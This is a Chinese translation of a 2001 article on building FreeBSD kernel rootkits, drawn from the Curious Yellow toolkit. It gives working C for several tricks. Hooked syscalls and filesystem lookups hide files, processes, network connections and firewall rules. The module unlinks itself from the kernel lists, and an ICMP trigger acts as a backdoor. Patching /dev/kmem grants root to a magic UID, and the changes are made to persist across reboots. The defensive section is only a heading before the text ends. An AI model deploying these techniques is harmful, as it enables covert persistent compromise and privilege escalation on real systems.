玩转freebsd内核模块 原文 : 04/08/2001
作者 : Stephanie Wehner <_@r4k.net>
主页 :
翻译整理 : wujianqiangis@mail.china.com
注:文章很老的,linux大家都熟了,相对来说bsd少了很多,但是原理还是一样的,这篇文章还是相当不错的,有助于
kernel hacking in freebsd :) 献给我即将开始的4年级的最后几门考试.....
文中提到的Curious Yellow可以在xfocus找到。
1. 介绍
1.1. 内核模块
1.2. 一些有用的函数
2. 方法
2.1. 替换函数指针
2.1.2. 系统调用
2.1.3. 其它的表
2.1.4. 单一的函数指针
2.2. 修改内核空间的队列
2.3. 读写内核空间
2.3.1. 查找符号的地址
2.3.2. 读数据
2.3.3. 修改内核数据
3. 应用
3.1. 隐藏并重定向文件
3.2. 隐藏进程
3.3. 隐藏网络连接
3.4. 隐藏防火墙规则
3.5. 触发器
3.6. 隐藏模块
3.7. 其它的应用
4. 内核补丁
4.1 介绍
4.2 插入跳转指令
4.3 替换内核代码
5. 越过重启
6. 实战
7. 保护自己:猫和老鼠的游戏
7.1. 检查符号表
7.2. 构件一个陷阱模块
7.3. 重新直接得到数据
7.4. 注意事项
8. 结论
9. 代码
10. 参考
11. 感谢
---------------------------------------------
1. 介绍
首先介绍内核模块的概念,还有系统调用的概念,说明的一点就是freebsd安全级别问题,通常在2级就不可以加载模块了
可以用sysctl 调整设置或者在/etc/rc.conf中增加如下条目在启动时调整:
kern_securelevel_enable="YES"
kern_securelevel="2"
本文only用来教育目的,:)所有涉及的代码都可以在Curious Yellow (CY)中找到.
1.2. 内核模块
请参考 scz@nsfocus 前辈翻译的内核链接机制(KLD)编程指南>,如果你对linux的lkm了解,这个很好理解。在/usr/share/examples/kld/ 有简单的例子。
1.2 一些有用的的函数
这里给出一些有用的函数,通常在系统调用中用到copyin/copyout/copyinstr/copyoutstr 这几个函数可以用来从用户空间得到
连续的大块数据,manpage copy(9)可以得到更多了解,在KLD tutorial也可以找到
下面是个小例子来展示copyin的用法,我们构造了一个带有一个字符串指针做参数的系统调用,通过copyin把字符串从用户空间移动
到内核空间来
struct example_call_args {
char *buffer;
};
int
example_call(struct proc *p, struct example_call_args *uap)
{
int error;
char kernel_buffer_copy[BUFSIZE];
/* copy in the user data */
error = copyin(uap->buffer, &kernel_buffer_copy, BUFSIZE);
[...]
}
fetch/store
这两个函数用来得到比较小块的数据,小到字节或者字长的数据
spl..
这个函数用来调整中断优先级,可以用来阻止某些中断处理程序的执行,下面的例子中当中断处理函数指针icmp_input修改时,因为
它通常要经过一些时时间,所以我们要防止对这个中断的处理。
2. 方法
这节列出一些常用的方法,将在后面的具体技术中使用,比如隐藏进程,网络连接。当然这些方法也可以用来实现其他的..
2.1. 修改函数指针
最古老也最经常用的方法,修改函数指针,用来指向你的函数,或者通过改写/dev/kmem达到相同的目的。(下面)
注意当你修改了函数指针后,你的新的函数要和原来的函数有相同的调用参数。下面介绍了一些通常用来hook的内核函数
2.1.1 系统调用
经典的hook方法,freebsd通过一个全局的sysent结构数组保持了一系列的系统调用,参见/sys/kern/init_sysent.c
struct sysent sysent[] = {
{ 0, (sy_call_t *)nosys }, /* 0 = syscall */
{ AS(rexit_args), (sy_call_t *)exit }, /* 1 = exit */
{ 0, (sy_call_t *)fork }, /* 2 = fork */
{ AS(read_args), (sy_call_t *)read }, /* 3 = read */
{ AS(write_args), (sy_call_t *)write }, /* 4 = write */
{ AS(open_args), (sy_call_t *)open }, /* 5 = open */
{ AS(close_args), (sy_call_t *)close }, /* 6 = close */
[...]
结构sysent在/sys/sys/syscall.h定义,还有系统调用号也在此文件中定义
比方说你想替换open这个系统调用,在你的模块加载函数的MOD_LOAD节中这样做
sysent[SYS_open] = (sy_call_t *)your_new_open
然后在你的模块卸载节中修复原来的系统调用
sysent[SYS_open].sy_call = (sy_call_t *)open;
2.1.2. 其它一些有用的表
系统调用不是唯一可以修改的地方,在freebsd内核中还有一些其它的地方也可以利用,特别是inetsw和各种文件系统的vnode表.
struct ipprotosw intesw[]保存了一系列被支持的inet协议的信息,这其中包括了当这种协议的数据报到达时或送出时用来处
理的函数 参见/sys/netinet/in_proto.c得到更多的信息,所以我们也可以hook这里的函数:)
下面我们就可以在模块中hook了
inetsw[ip_protox[IPPROTO_ICMP].pr_input = new_icmp_input;
通常每种文件系统的vnode表都是由多个具体的函数组成。所以我们可以替换它们来隐藏我们的文件。
ufs_vnodeop_p[VOFFSET(vop_lookup)] = (vop_t *) new_ufs_lookup;
在内核中当然还有很多地方可以hook,这就取决你的目的了,kernel source 是最重要的文档
2.1.3 单个的函数指针
偶尔我们也会碰到单个的函数函数指针,比如说ip_fw_ctl_ptr,这个函数用来处理ipfw的请求,这里我们也可以用来hook。
2.2. 修改内核队列
替换函数不够有意思呀:),也许你想修改内核中的一些数据,一些感兴趣的东西都以队列的形式存储在内核中,如果你从来没有
使用过/sys/sys/queue.h的一些宏,你先要熟悉一下它然后在进行下面的阅读。这可以让你轻松面对下面的kernel source
并且在你使用这些宏时不会出错。
一些感兴趣的队列
进程队列:struc proclist allproc 和 zombproc 也许你并不想修改这的东西因为进程调度的目的,除非你想重写大部分的
内核代码,但是你可以过滤它当有用户请求时。
linker_files队列:这个队列中包括了连接到了kernel的文件,每个文件可以包含多个模块,它的描述可以在这里找到(THC art
icle)这篇文章的连接是),自己找吧。:)这个队列非常重要
当我们改变符号的地址,或者隐瞒这个文件所包含的模块。
模块队列:module list_t 这个队列包含了加载的内核模块,注意这个模块队列区别于linker_files队列,这对于隐藏模块很重要
还是那句话,最好的文档就是kernel source
2.3 读写内核内存
模块并不是唯一的修改内核的途径,我们还可以直接修改内核空间通过/dev/kmem。
2.3.1. 查找一个符号的地址
当你处理内核内存时,你首先感兴趣的是用来读写的符号的正确的地址(比如函数,变量),在freebsd中 函数Fvm(3)提供了一些有
用的的功能请参考manpage查询具体的用法,下面给出一个例子读取指定的符号的地址 在CY 包中可以找到 tools/findsym.c.
[...]
char errbuf[_POSIX2_LINE_MAX];
kvm_t *kd;
struct nlist nl[] = { { NULL }, { NULL }, };
nl[0].n_name = argv[1];
kd = kvm_openfiles(NULL,NULL,NULL,O_RDONLY,errbuf);
if(!kd) {
fprintf(stderr,"ERROR: %sn",errbuf);
exit(-1);
}
if(kvm_nlist(kd,nl) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
if(nl[0].n_value)
printf("symbol %s is 0x%x at 0x%xn",nl[0].n_name,nl[0].n_type,nl[0].n_value);
else
printf("%s not foundn",nl[0].n_name);
if(kvm_close(kd) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
[...]
2.3.2 读数据
现在你找到了一些正确的符号地址(比如说函数,变量),你可能想要读一些数据,利用函数kvm_read ,代码tools/kvmread.c
和tools/listprocs.c提供了一个例子。
如果你想读取队列的全部,你只要找到队列头然后用next指针来找到下一个元素(结构体),同样你可以获得其他的数据通过
这个struct 指针比如说用户的表示符(在这个结构中包含了uid,euid) 下面给出了一个例子(在listproc.c),当我们找到了allproc的地址,这个队列
的头就确定了
[...]
kvm_read(kd,nl[0].n_value, &allproc, sizeof(struct proclist)); //allproc 是所有进程的队列头
printf("PIDtUIDnn");
for(p_ptr = allproc.lh_first; p_ptr; p_ptr = p.p_list.le_next) {
/* read this proc structure */
kvm_read(kd,(u_int32_t)p_ptr, &p, sizeof(struct proc)); //p_ptr指向结构proc 进程控制块
/* read the user credential */
kvm_read(kd,(u_int32_t)p.p_cred, &cred, sizeof(struct pcred));//p_cred 指向包含ruid,suid的结构pcred
printf("%dt%dn", p.p_pid, cred.p_ruid);
}
2.3.3 修改内核代码
用同样的方法我们可以来写内核代码了,man函数kvm_write可以得到更多相关内容,后面将会给出一个例子。如果你现在不耐烦了
请看一会tools/putjump.c吧
3. 通常应用
3.1 隐藏并重定向文件
一般最开始做的就是就是隐藏文件了,它也是最简单的,我们就从这里开始吧。
你的hook函数可以在不同的层次,简单的可以截获系统调用open,stat 等等 深入点你可以hook底层具体文件系统的lookup函数。
3.1.1 通过系统调用
最普通的方法,嘿嘿,被许多工具使用过了,THC 的文档有具体描述
(这篇文章的连接是)
这种方法通过截获open,stat,chmod系统调用来针对特别的文件,这种方法是最简单的。通过你提供的的新的系统调用new_open
检查带有某些特定的字符,来决定返回没有还是调用原来的open系统调用,例子来自于module/file-sysc.c:
int
new_open(struct proc *p, register struct open_args *uap)
{
char name[NAME_MAX];
size_t size;
/* get the supplied arguments from userspace */
if(copyinstr(uap->path, name, NAME_MAX, &size) == EFAULT)
return(EFAULT);
/* if the entry should be hidden and the user is not magic, return not found */
if(file_hidden(name) && !(is_magic_user(p->p_cred->pc_ucred->cr_uid))) //检查特定文件名和用户uid
return(ENOENT);
return(open(p,uap));
}
还有一些类似的系统调用,只有getdirentries有一些特别,因为它返回一个目录列表,所以要多做一些变换(这个以前引起了不少的
讨论,在linux lkm中)。THC 的文档有具体描述
(这篇文章的连接是)
或者你可以通过hook地层具体文件系统的某些函数,这种方法的好处就是不用修改系统调用表并且不被众多的系统调用所受限制。因为
这些函数最终会调用它。在这里你还可以通过判断更多的条件来决定是否隐藏这个文件。
每种文件系统的vop(操作函数结构)决定了对不同种类操作所调用的函数,ufs文件系的vop可以在/sys/ufs/ufs/ufs_vnops.c
找到,procfs文件系统的vop可以在/sys/miscfs/procfs/procfs_vnops.c中找到,其它文件系统的可以找到。当你改变
lookup的同时,也要改变相应的cached lookup 函数(因为有缓存呀,找的时候先找缓存)
下面展示了一个例子 代码来自module/file-ufs.c
int new_ufs_lookup(struct vop_cachedlookup_args *ap)
{
struct componentname *cnp = ap->a_cnp;
if(file_hidden(cnp->cn_nameptr) &&
!(is_magic_user((cnp->cn_cred)->cr_uid))) {
mod_debug("Hiding file %sn",cnp->cn_nameptr);
return(ENOENT);
}
return(old_ufs_lookup(ap));
}
在模块加载函数中
extern vop_t **ufs_vnodeop_p;
//static vop_t **ufs_vnodeop_p指向static struct vnodeopv_entry_desc ufs_vnodeop_entries[]
//在文件/sys/ufs/ufs/ufs_vnops.c
vop_t *old_ufs_lookup;
static int
load(struct module *module, int cmd, void *arg)
{
switch(cmd) {
case MOD_LOAD:
mod_debug("Replacing UFS lookupn");
old_ufs_lookup = ufs_vnodeop_p[VOFFSET(vop_lookup)];
ufs_vnodeop_p[VOFFSET(vop_lookup)] = (vop_t *) new_ufs_lookup;
break;
case MOD_UNLOAD:
mod_debug("Restoring UFS lookupn");
ufs_vnodeop_p[VOFFSET(vop_lookup)] = old_ufs_lookup;
break;
default:
error = EINVAL;
break;
}
return(error);
}
看比替换系统调用费不了多点事,同样你需要修改ufs_readdir来防止getdirentries
3.1.3 概要评论
文件重定向可以用多种方法来实现,你可以用指定的文件来代替被请求的文件,比如execve特定的文件,通过截获execve.
通常都很简单了,也许你想扩展用户空间,可以通过vm_map_find来实现 CY 中有一个例子展示。
3.2 隐藏进程
还有一个通常要做得事就是隐藏进程,为了达到这个目的,你需要截获很多获得进程信息的方法,当然你也想保持对特定进程
的追踪。每个进程的信息都存储在proc结构中,定义在/sys/sys/proc.h ,结构中有一个标志域p_flag 可以对进程设定
特殊的标志,所以我们设定一个新的标志#define P_HIDDEN 0x8000000 这样当一个进程被隐藏时,我们通过这个标志
重新发现这个进程,module/control.c 有一个例子来展示。
如果你用 ps ,它将会调用kvm_getprocs,它将通过带有下面的参数来调用sysctl
name[0] = CTL_KERN
name[1] = KERN_PROC
name[2] = KERN_PROC_PID, KERN_PROC_ARGS etc
name[3] can contain the pid in case information about only one process is requested.
name是一个数组包含了mib变量(类似于snmp mib),描述了请求的信息,例如,啥样的sysctl操作和具体的请求,下面包含了请求
的子类型(相对KERN_PROC)来说
/*
* KERN_PROC subtypes
*/
#define KERN_PROC_ALL 0 /* everything */
#define KERN_PROC_PID 1 /* by process id */
#define KERN_PROC_PGRP 2 /* by process group id */
#define KERN_PROC_SESSION 3 /* by session of pid */
#define KERN_PROC_TTY 4 /* by controlling tty */
#define KERN_PROC_UID 5 /* by effective uid */
#define KERN_PROC_RUID 6 /* by real uid */
#define KERN_PROC_ARGS 7 /* get/set arguments/proctitle */
这些调用最后会结束于__sysctl调用,THC article 已经描述过了,我用另一种方法实现了它,代码在module/process.c
我们同样用这种方法来隐藏网络连接。
另外一种或的进程信息的方法就是通过procfs,你不需要知道数据的来源,因为它是内核动态产生的所以我们同样可以利用
在文件隐藏节中提到的两种方法来实现,下面我给出了通过hook proc's lookup 函数的例子
/*
* replacement for procfs_lookup, this will be used in the case someone doesn't just
* do a ls in /proc but tries to enter a dir with a certain pid
*/
int
new_procfs_lookup(struct vop_lookup_args *ap)
{
struct componentname *cnp = ap->a_cnp;
char *pname = cnp->cn_nameptr;
pid_t pid;
pid = atopid(pname, cnp->cn_namelen);
if(pid_hidden(pid) && !(is_magic_user((cnp->cn_cred)->cr_uid)))
return(ENOENT);
return(old_procfs_lookup(ap));
}
You would then replace it when you load the module:
extern struct vnodeopv_entry_desc procfs_vnodeop_entries[];
extern struct vnodeopv_desc **vnodeopv_descs;
vop_t *old_procfs_lookup;
static int
load(struct module *module, int cmd, void *arg)
{
switch(cmd) {
case MOD_LOAD:
mod_debug("Replacing procfs_lookupn");
old_procfs_lookup = procfs_vnodeop_p[VOFFSET(vop_lookup)];
procfs_vnodeop_p[VOFFSET(vop_lookup)] = (vop_t *)new_procfs_lookup;
break;
case MOD_UNLOAD:
mod_debug("Restoring procfs_lookupn");
procfs_vnodeop_p[VOFFSET(vop_lookup)] = old_procfs_lookup;
break;
default:
error = EINVAL;
break;
}
return(error);
}
3.2.2 隐藏子进程
也许你想隐藏子进程,防止被kill掉,可以通过截获fork 或者 kill 来达到此目的,在上面的技术中也有很多可以利用的技术
module/process.c 有一个例子
3.3. 隐藏网络连接
为了逃避netstat -an 的网络连接查询,我们采用象隐藏进程一样的方法,它通过同样调用sysctl来查询,当然mib变量是不一样的
对于tcp连接来说:
name[0] = CTL_NET
name[1] = PF_INET
name[2] = IPPROTO_TCP
name[3] = TCPCTL_PCBLIST
像以前一样的方法,输出同样被过滤掉了,然后返回给用户层的sysctl,CY 允许你来隐藏多样的连接通过cyctl,参照
module/process.c 看如何修改的__sysctl.
3.4 隐藏网络连接
另一个有趣的就是隐藏防火墙的规则,可以用你的函数简单的替换ip_fw_ctl函数,ip_fw_ctl是ipfw的控制函数,比如
添加,删除,列出 规则。所以我们可以截获这个函数来表演了,;)
CY的控制函数提供了一个选项来隐藏特定的防火墙规则,象隐藏进程一样,我们可以设置一个标志来标识需要隐藏的的规则
当沿着ipfw 规则队列遍历时,每个规则都是一种结构 struct ip_fw ,这个结构的定义在/sys/netinet/ip_fw.h,结构
中有个条目叫做fw_flag,我们添加一个新的标志,命名为IP_FW_F_HIDDEN
#define IP_FW_F_HIDDEN 0x80000000
module/fw.c 中展示了一个隐藏规则的例子,当用ipfw -l 来列出规则时,它将调用这个函数并且操作码为IP_FW_GET,我们就可以
来处理这个请求来隐藏我们特定的规则,并把其他的规则传给原来的ip_fw_ctl,我们通过遍历整个防火墙规则队列,通过刚才设定的
标志(fw_flag)来查找我们特定的规则,然后减少输出,来达到隐藏的目的。
既然freebsd 的 ipfw 提供了forward和divert(类似于nat的一种功能,但是工作在应用层,与ipfilter的nat功能有本质的差别)
我们就可以利用它来实现后门了,我们可以在12345端口放一个后门,然后先通过前面讲的的隐藏网络连接的功能,隐藏这个listen
的端口,然后添加一个规则,比如说我们一个“特定的主机“对22ssh的连接重定向到12345后门的连接,netstat 就只能看见了22了,
因为后门的网络连接被隐藏了,所以从22到12345也就看不见了。
3.5. 网络触发器 (类似于嗅谈的协议后门:))
上面我们提到了inetsw,一个维持了一组协议信息的数组,协议信息中通常包含了当自己协议类行数据报到来时或传出时时调用的函数
CY包含一个例子,它允许设定一个icmp echo请求到来时的触发器,首先我们要替换掉icmp_input,代码就在module/icmp.c
这里我们只需要把修改一点就可以了,icmp header定义在/usr/include/netinet/ip_icmp.h
Part of module/icmp.c:
[...]
case ICMP_ECHO:
if (!icmpbmcastecho
&& (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
icmpstat.icps_bmcastecho++;
break;
}
/* check if the packet contains the specified trigger */
if(!strcmp(icp->icmp_data,ICMP_TRIGGER)) { //通过判定icmp数据是否包含特定的标志
mod_debug("ICMP triggern");
/* decrease receive stats */
icmpstat.icps_inhist[icp->icmp_type]--;
trigger_test(icp->icmp_data);
/* don't send a reply */
goto freeit;
}
[...]
//// when the module is loaded:
extern struct ipprotosw inetsw[];
extern u_char ip_protox[];
void *old_icmp_input;
static int
load(struct module *module, int cmd, void *arg)
{
switch(cmd) {
case MOD_LOAD:
mod_debug("Replacing ICMP Inputn");
old_icmp_input = inetsw[ip_protox[IPPROTO_ICMP].pr_input;
inetsw[ip_protox[IPPROTO_ICMP].pr_input = new_icmp_input;
break;
case MOD_UNLOAD:
mod_debug("Restoring icmp_inputn");
inetsw[ip_protox[IPPROTO_ICMP].pr_input = old_icmp_input;
break;
default:
error = EINVAL;
break;
}
return(error);
}
CY中只是一个测试的函数,没有多大用,你可以作为例子来修改数据报中的内容然后放回到数据报的处理队列。
3.6. 隐藏模块
重要的,我们当然要隐藏模块自身了( kldstat | kldstat -v 区别 ;))
前面我们已经提到了维持了一系列连入内核的文件(.ko),是个队列linker_files(这个是个linker_file结构的队列)。所以我们
要首先隐藏文件本身,队列linker_files定义在/sys/kern/kern_linker.c 此外它还有一个计数单元定义在next_file_id,这个
数应该是现在的文件数+1。所以我们要首先递减它,相同的还有一个内核用来统计的引用值,现在从队列中删除模块
extern linker_file_list_t linker_files;
extern int next_file_id;
extern struct lock lock;
[...]
linker_file_t lf = 0;
/* lock exclusive, since we change things */
lockmgr(&lock, LK_EXCLUSIVE, 0, curproc);
(&linker_files)->tqh_first->refs--;
TAILQ_FOREACH(lf, &linker_files, link) { //宏定义遍历队列得到linker_file结构
if (!strcmp(lf->filename, "cyellow.ko")) {
/*first let's decrement the global link file counter*/
next_file_id--;
/*now let's remove the entry*/
TAILQ_REMOVE(&linker_files, lf, link); //从队列中删除
break;
}
}
lockmgr(&lock, LK_RELEASE, 0, curproc);
下一步我们就要把文件包含的模块也从模块队列中删除,象文件队列一样,其中也有引用计数,以及模块计数单元。
extern modulelist_t modules;
extern int nextid;
[...]
module_t mod = 0;
TAILQ_FOREACH(mod, &modules, link) {
if(!strcmp(mod->name, "cy")) {
/*first let's patch the internal ID counter*/
nextid--;
TAILQ_REMOVE(&modules, mod, link);
}
}
[...]
现在我们看kldstat的输出模块消失了,注意当它从模块队列中消除后,我们用modfind都找不到了,这只是在当你的模块中包含
了系统调用时。然而我们可以通过手工计算偏移来引用它,如果没有别的模块加载,它通常都是210,CY允许你指定这个偏移值,
它是我相信可能还有其它的方法来找到它。
3.6 其它的应用
还有其他可以利用内核模块可以做得很多事,比如tty的劫持,隐藏接口的混杂模式,或者通过一个系统调用来改变进程uid为0
下面的内核补丁于此类似。隐藏接口的混杂模式,修改/dev/kmem,只需要把借口的标志清0就可以了,这种情况下即使有人用
tcpdump接口的模式也不会是混杂。(:))
当然通过/dev/kmem你可以得到很多有趣的的东西;)
4.内核补丁
模块并不是唯一的修改内核的途径,我们还可以利用/dev/kmem来复写已经存在的数据,代码。在技术节中我已经描述了大概的方法
,现在我们的关键是写/dev/kmem.
4.1 介绍
简单的测试我们可以只是在某个内核函数的开始处写如一个返回地址,我们用内核模块来做这样的测试,它不会影响正常的运行,
现在我们不让CY运行在隐蔽的模式,我们写一个ret到cy_ctl并用cyctl发送命令到CY,啥都不会发生,cy_ctl会简单的返回,
在tools/putreturn.c 有例子代码。
4.2 插入跳转
非常简单可以插入一些跳转到某些函数,这样可以重定向到我们的代码,并且不用修改系统调用表核任何其他的表格,这意味着你并不
需要加载一个模块来完成这件事,通过写/dev/kmem,当然了你也可以加载模块来完成。
在tools/putjump.c:
/*这里是那个非常经典的lkm里来自 Silvio Cesare e4gle@whitecell 前辈翻译过
修改指定函数地址的前7个字节,来跳转到我们的代码*/
/* the jump */
unsigned char code[] = "xb8x00x00x00x00" /* movl $0,%eax */
"xffxe0" /* jmp *%eax */
;
int
main(int argc, char **argv) {
char errbuf[_POSIX2_LINE_MAX];
long diff;
kvm_t *kd;
struct nlist nl[] = { { NULL }, { NULL }, { NULL }, };
if(argc < 3) {
fprintf(stderr,"Usage: putjump [from function] [to function]n");
exit(-1);
}
nl[0].n_name = argv[1];
nl[1].n_name = argv[2];
kd = kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf);
if(kd == NULL) {
fprintf(stderr,"ERROR: %sn",errbuf);
exit(-1);
}
if(kvm_nlist(kd,nl) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
if(!nl[0].n_value) {
fprintf(stderr,"Symbol %s not found.n",nl[0].n_name);
exit(-1);
}
if(!nl[1].n_value) {
fprintf(stderr,"Symbol %s not found.n",nl[1].n_name);
exit(-1);
}
printf("%s is 0x%x at 0x%xn",nl[0].n_name,nl[0].n_type,nl[0].n_value);
printf("%s is 0x%x at 0x%xn",nl[1].n_name,nl[1].n_type,nl[1].n_value);
/* set the address to jump to */
*(unsigned long *)&code[1] = nl[1].n_value;
if(kvm_write(kd,nl[0].n_value,code,sizeof(code)) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
printf("Written the jumpn");
if(kvm_close(kd) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
exit(0);
}
4.3 替换内核代码
为了避免修改已经存在的表,我们可以采用jump的方法,但是我们还是必须要提供自己的代码,有些时候这可能很方便的修改已经存在
的代码,但是这不是通用的方法,因为它不能修补版本高的内核(???)并且取决于编译器的实现。
为了鉴别用户是否是root 或者超级用户,内核调用suser,然后suser返回并调用super_xxx,这将会检查用户是否是root,并授予某些
特权,比如原始套节字,我提供了一个例子来演示修改已经存在的代码,首先我们要找到这个函数的地址,用 nm /kernel | grep
super_xxx 或者用 tools/findsym 查找suser_xxx,在我的电脑上它是0xc019d538,你的也会差不多,现在我们来看一下
这里的代码
# objdump -d /kernel --start-address=0xc019d538 | more
/kernel: file format elf32-i386
Disassembly of section .text:
c019d538 :
c019d538: 55 push %ebp
c019d539: 89 e5 mov %esp,%ebp
c019d53b: 8b 45 08 mov 0x8(%ebp),%eax //参数 cred
c019d53e: 8b 55 0c mov 0xc(%ebp),%edx //参数 proc
c019d541: 85 c0 test %eax,%eax //!cred
c019d543: 75 20 jne c019d565
c019d545: 85 d2 test %edx,%edx
c019d547: 75 13 jne c019d55c
c019d549: 68 90 df 36 c0 push $0xc036df90
c019d54e: e8 5d db 00 00 call c01ab0b0 //printf
c019d553: b8 01 00 00 00 mov $0x1,%eax
c019d558: eb 32 jmp c019d58c
c019d55a: 89 f6 mov %esi,%esi
c019d55c: 85 c0 test %eax,%eax // !cred
c019d55e: 75 05 jne c019d565
c019d560: 8b 42 10 mov 0x10(%edx),%eax
c019d563: 8b 00 mov (%eax),%eax
c019d565: 83 78 04 00 cmpl $0x0,0x4(%eax) //cred->cr_uid != 0
c019d569: 75 e8 jne c019d553
c019d56b: 85 d2 test %edx,%edx
c019d56d: 74 1b je c019d58a
c019d56f: 83 ba 60 01 00 00 00 cmpl $0x0,0x160(%edx)
c019d576: 74 07 je c019d57f
c019d578: 8b 45 10 mov 0x10(%ebp),%eax
c019d57b: a8 01 test $0x1,%al
c019d57d: 74 d4 je c019d553
c019d57f: 85 d2 test %edx,%edx
c019d581: 74 07 je c019d58a
c019d583: 80 8a 72 01 00 00 02 orb $0x2,0x172(%edx)
c019d58a: 31 c0 xor %eax,%eax
c019d58c: c9 leave
c019d58d: c3 ret
c019d58e: 89 f6 mov %esi,%esi
这里是反汇编的代码,下面是源代码,在/sys/kern/kern_prot.c
int
suser_xxx(cred, proc, flag)
struct ucred *cred;
struct proc *proc;
int flag;
{
if (!cred && !proc) {
printf("suser_xxx(): THINK!n");
return (EPERM);
}
if (!cred)
cred = proc->p_ucred;
if (cred->cr_uid != 0) ///------------------------------------|
return (EPERM);
if (proc && proc->p_prison && !(flag & PRISON_ROOT))
return (EPERM);
if (proc)
proc->p_acflag |= ASU;
return (0);
}
除非你是一个assembler person ,请看一下,你可以注意到%eax存贮着cred ,%edx 存储着proc 结构,基本我们想改成这样
if ((cred->cr_uid != 0) && (cred->cr_uid != MAGIC_UID))
return (EPERM);
现在我们要找一个地方去存放上面的代码,用printf的地址吧,printf的作用就是在suser_xxx在被错误调用时才有用,现在我们假设
没有人仔细看着它的屏幕;),看看汇编代码中,所有错误的返回都是这样 把EPERM =1 放到 %eax 中c019d553: mov $0x1,%eax
看一下uid=!0的测试,跳转到c019d553.
c019d565: 83 78 04 00 cmpl $0x0,0x4(%eax)
c019d569: 75 e8 jne c019d553 //75 表示 jne 向上跳转到偏移e8,e8是个负数-16
我们看一下我们将要放置新代码的printf处 (10个字节)
c019d549: 68 90 df 36 c0 push $0xc036df90
c019d54e: e8 5d db 00 00 call c01ab0b0
现在我们需要修改跳转地址 75 表示 jne 向上跳转到偏移e8,e8是个负数-16
现在我们就要修改printf地址的代码并添加我们自己的check了(cred->cr_uid != MAGIC_UID) 首先我们用 jmp 0x7(来跳过这个
检查)当它被“正常调用时“不出错,就是在(!cred && !proc)的测试中,然后添加我们的检验代码
jmp 0x07 eb 07 /* 跳过检查 */
cmpl $magic,0x4(%eax) 83 78 04 magic /* 检察MAGIC_UID */
je 0x39 74 39 /* 跳到结束 */
nop 90 /* 用来填充的字节 */
nop 90
现在修改 c019d569 地址出的 75 e8 为 75 e0(后退8个字节) 实际跳转到了cmpl $magic,0x4(%eax) 这里来执行
我们把它整合到一块,我的特定的MAGIC_UID=100;
#include
#include
#include
#include
#include
#define MAGIC_ADDR 0xc019d549
#define MAKE_OR_ADDR 0xc019d569
unsigned char magic[] = "xebx07" /* jmp 06 */
"x83x78x04x00" /* cmpl $magic,0x4(%eax) */
"x74x39" /* je to end */
"x90x90" /* filling nop */
;
unsigned char makeor[] = "x75xe0"; /* jne e0 */
int
main(int argc, char **argv) {
char errbuf[_POSIX2_LINE_MAX];
long diff;
kvm_t *kd;
u_int32_t magic_addr = MAGIC_ADDR;
u_int32_t makeor_addr = MAKE_OR_ADDR;
kd = kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf);
if(kd == NULL) {
fprintf(stderr,"ERROR: %sn",errbuf);
exit(-1);
}
if(kvm_write(kd,MAGIC_ADDR,magic,sizeof(magic)-1) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
if(kvm_write(kd,MAKE_OR_ADDR,makeor,sizeof(makeor)-1) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
if(kvm_close(kd) < 0) {
fprintf(stderr,"ERROR: %sn",kvm_geterr(kd));
exit(-1);
}
exit(0);
}
在direct/fix_suser_xxx.c 可能你会见到轻微的改动 ,它要求uid<256
现在你可以copy /sbin/ping 到你的目录下测试一下:)
5.越过重启
显然当重启后我们的模块奖不能在使用,所以我们可以把我们的模块启动sh脚本放在/usr/local/etc/rc.d/ (这个目录可以改变通过
rc.conf:),其实放在loader.conf也不错)当然必须安全级别调整之前执行。
如果你通过上面的/dev/kmem直接改变了内核的代码,你可以把这些改变直接写进/kernel(hu,hu),我没有查elf的相关文档,但是看上
去重定向地址应该是/kernel内的偏移+0xc0100000,在你写你的内核时,请测试先。在direct/fix_suser_xxx_kernel.c 有个同样
的例子。
6. 实战
在先前的例子中,所有的符号地址都来自/dev/kmem,但是它确切的出处在哪里呢?它在内核中经常变化。这些符号存储在elf hash 表
里面,每个连入内核的文件(object)都有它自己的符号表,在exp/symtable.c 有个例子 它在linker_files队列中查找第一个
命名为kernel的条目,函数名被hash了,并被重新获得,符号找到之后它的value就可以改变了。
int
set_symbol(struct proc *p, struct set_symbol_args *uap)
{
linker_file_t lf;
elf_file_t ef;
unsigned long symnum;
const Elf_Sym* symp = NULL;
Elf_Sym new_symp;
const char *strp;
unsigned long hash;
caddr_t address;
int error = 0;
mod_debug("Set symbol %s address 0x%xn",uap->name,uap->address);
lf = TAILQ_FIRST(&linker_files);
ef = lf->priv;
/* First, search hashed global symbols */参见elf鉴别
hash = elf_hash(uap->name); //通过对名字hash可以加快寻找速度,
symnum = ef->buckets[hash % ef->nbuckets];//
while (symnum != STN_UNDEF) {
if (symnum >= ef->nchains) {
printf("link_elf_lookup_symbol: corrupt symbol tablen");
return ENOENT;
}
symp = ef->symtab + symnum; //symtab节是静态符号节
if (symp->st_name == 0) { //符号名字索引
printf("link_elf_lookup_symbol: corrupt symbol tablen");
return ENOENT;
}
strp = ef->strtab + symp->st_name; //符号名节
if (!strcmp(uap->name, strp)) {
/* found the symbol with the given name */
if (symp->st_shndx != SHN_UNDEF
//关联的索引
(symp->st_value != 0 && ELF_ST_TYPE(symp->st_info) == STT_FUNC )) { //符号类型,关联一个函数
/* give some debug info */
address = (caddr_t) ef->address + symp->st_value;
//符号的地址 =模块的地址+st_value st_value表示文件偏移
mod_debug("found %s at 0x%x!n",uap->name,(uintptr_t)address);
bcopy(symp,&new_symp,sizeof(Elf_Sym));
new_symp.st_value = uap->address; //改变成新的地址
address = (caddr_t) ef->address + new_symp.st_value;
mod_debug("new address is 0x%xn",(uintptr_t)address);
/* set the address */
bcopy(&new_symp,(ef->symtab + symnum),sizeof(Elf_Sym));
break;
break;
} else
return(ENOENT);
}
symnum = ef->chains[symnum];
}
/* for now this only looks at the global symbol table */
return(error);
}
symtable是一个单独的模块,它将加载上面用过的所有系统调用,你可以通过set_sym工具来测试,它将击败tool/checkcall
7. 保护你自己:猫和老鼠的游戏。
